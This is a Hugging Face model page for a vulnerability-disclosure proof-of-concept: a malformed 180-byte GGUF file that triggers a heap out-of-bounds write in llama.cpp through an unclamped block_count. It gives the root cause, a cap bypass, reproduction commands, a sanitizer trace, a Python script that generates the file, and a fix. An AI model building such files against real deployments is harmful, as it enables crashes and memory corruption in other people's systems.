Downloads · 30 days
8
8% of all-time downloads
scruge/llamacpp-gguf-block-count-oob-poc
llamacpp-gguf-block-count-oob-poc is a machine learning model from scruge. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
This is a security proof-of-concept model file for a huntr Model File Vulnerability (MFV) disclosure. It is NOT a usable model. poc.gguf is a 180-byte malformed GGUF that crashes llama.cpp on load. It contains no weig…
Downloads · 30 days
8
8% of all-time downloads
All-time downloads
100
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md3.1 KB · 64%
From the Hugging Face model README
block_count heap out-of-bounds write (CWE-787)This is a security proof-of-concept model file for a huntr Model File Vulnerability (MFV) disclosure. It is NOT a usable model. poc.gguf is a 180-byte malformed GGUF that crashes llama.cpp on load. It contains no weights and no code payload — the trigger is a single out-of-range metadata value.
llama_model_load of an attacker-supplied .gguf — reliable crash / memory corruption, no flags, no auth.A GGUF file may set block_count to any 32-bit value. llama.cpp copies it into hparams.n_layer_all with no upper-bound check (src/llama-model.cpp, ml.get_key(LLM_KV_BLOCK_COUNT, hparams.n_layer_all)). For any architecture that builds a sliding-window pattern (18 archs, e.g. gemma2), set_swa_pattern then loops for (il = 0; il < n_layer_all; ++il) is_swa_impl[il] = ... where is_swa_impl is a fixed std::array<uint32_t, LLAMA_MAX_LAYERS = 512> (src/llama-hparams.h). With block_count > 512 this writes out of bounds.
This PoC omits attention.head_count / feed_forward_length, which bypasses the get_key_or_arr n > N_MAX cap (that path early-returns on a missing optional key before the cap).
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
cmake -B build -DCMAKE_BUILD_TYPE=Debug -DGGML_SANITIZE_ADDRESS=ON -DLLAMA_CURL=OFF
cmake --build build --target llama-cli -j
ASAN_OPTIONS=detect_leaks=0 ./build/bin/llama-cli -m poc.gguf -p hi -n 1 --no-warmup
Expected (AddressSanitizer):
ERROR: AddressSanitizer: SEGV ... WRITE memory access
#0 llama_hparams::set_swa_pattern src/llama-hparams.cpp
#1 llama_model_gemma2::load_arch_hparams src/models/gemma2.cpp
#2 llama_model_base::load_hparams src/llama-model.cpp
... llama_model_load_from_file
Negative control: rebuild the file with block_count = 512 → no overflow (writes stay in-bounds). Extent is attacker-controlled: (block_count - 512) * 4 bytes past the array (verified 352 / 752 / 1152 bytes for block_count 600 / 700 / 800 via a gdb watchpoint).
poc.gguf was madefrom gguf import GGUFWriter
w = GGUFWriter('poc.gguf', 'gemma2')
w.add_uint32('gemma2.block_count', 100000) # -> n_layer_all, unclamped
w.add_uint32('gemma2.context_length', 2048)
w.add_uint32('gemma2.embedding_length', 64)
# head_count / feed_forward_length omitted (bypasses the N_MAX cap)
w.write_header_to_file(); w.write_kv_data_to_file(); w.close()
Clamp after reading block_count: if (hparams.n_layer_all > LLAMA_MAX_LAYERS) throw ...; (or clamp the loop bounds in set_swa_pattern / set_recr_pattern). A related second sink exists in the WavTokenizer decoder (posnet/convnext.block_count indexing layers[i]) and needs its own bound.